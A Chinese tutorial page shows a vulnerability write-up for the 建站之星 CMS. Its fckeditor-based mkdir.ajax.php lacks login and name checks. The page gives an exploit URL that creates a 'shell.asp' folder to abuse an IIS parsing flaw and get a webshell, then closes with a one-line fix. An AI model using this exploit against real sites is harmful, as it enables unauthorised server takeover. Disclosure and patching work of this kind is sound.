手机
当前位置:查字典教程网 >电脑 >电脑安全教程 >建站之星全版本后台通杀getshell的解析与解决方法
建站之星全版本后台通杀getshell的解析与解决方法
摘要:找到一个fck改的编辑器,准备用解析洞日之。然后发现无法这玩意直接过滤了“.”创建不了解析文件夹,反复试了几次之后发现这个过滤是有延迟的。大...

找到一个fck改的编辑器,准备用解析洞日之。

建站之星全版本后台通杀getshell的解析与解决方法1

然后发现无法这玩意直接过滤了“.”创建不了解析文件夹,

反复试了几次之后发现这个过滤是有延迟的。大概在0.1秒后 才会去掉。于是果断查看源码看函数:

复制代码代码如下:

function addSort(obj) {

$(obj).parent().find(‘span’).css(‘display’,'inline-block’);

$(obj).css(‘display’,'none’);

$(obj).parent().find(‘span > input:first’).focus();

}

function newDir(obj) {

var pth = $(obj).prev().attr(‘value’);

var basepth = $(‘#gtcurdir option:selected’).text();

if (pth.replace(/^s+|s+$/g,”).length == 0) { //这里对定义的PTH变量进行了判断,(“/^s+|s+$/g,”),思路是 判断如果文本框内不算以上字符 长度等于0则继续执行.

alert(“请输入字符”);

$(obj).prev().focus();

return false;

} else {

$.ajax({

type : “GET”,

dataType : “text”,

url : “../mkdir.ajax.php?basedir=”+basepth+”&newdir=”+pth,//这里直接发送url 基本类型+新文件夹名+文件夹名。

success : function(response) {

switch (response) {

case ’0′:

$(obj).prev().val(”);

$(obj).parent().css(‘display’,'none’);

$(obj).parent().parent().find(‘a’).css(‘display’,'inline-block’);

$(‘’+basepth+pth+’/’).appendTo(‘#gtcurdir’);

break;

case ‘-1′:

alert(“文件夹已存在!”);

$(obj).prev().focus();

break;

case ‘-2′:

alert(“新建文件夹失败!”);

break;

}

},

error : function(response) {

alert(“请求失败!”);

return false;

}

});

}

看完函数 发现有一个很有意思的地方:

url : “../mkdir.ajax.php?basedir=”+basepth+”&newdir=”+pth,

这里直接post出去命令。那么我们可否构造呢

于是查看了这个脚本的源码:

程序员果然天然呆,不验证登陆,这里不验证文件名,任凭urlpost任意信息。

到这里知道了程序漏洞所在。附上exp:

/admin/fckeditor/mkdir.ajax.php?basedir=upload/image/&newdir=shell.asp

返回0则表示成功。

 修复方案:

对mkdir.ajax.php加验证

【建站之星全版本后台通杀getshell的解析与解决方法】相关文章:

无法定位序数459于动态链接urlmon.dll的解决办法

安全狗下加用户的又一方法

360密盘启动失败的原因与解决方法

十种获取webshell的方法

卸载360系统急救箱的两种方法

服务器建立超级隐藏账号方法

写给菜鸟—可逆和不可逆加解密算法原理

卡巴斯基授权文件怎么用以及被封的解决方法

服务器上网站被挂Iframe木马的解决方法

网站域名被劫持、网站dns被劫持 域名跳转到别的网站的解决方法

精品推荐
分类导航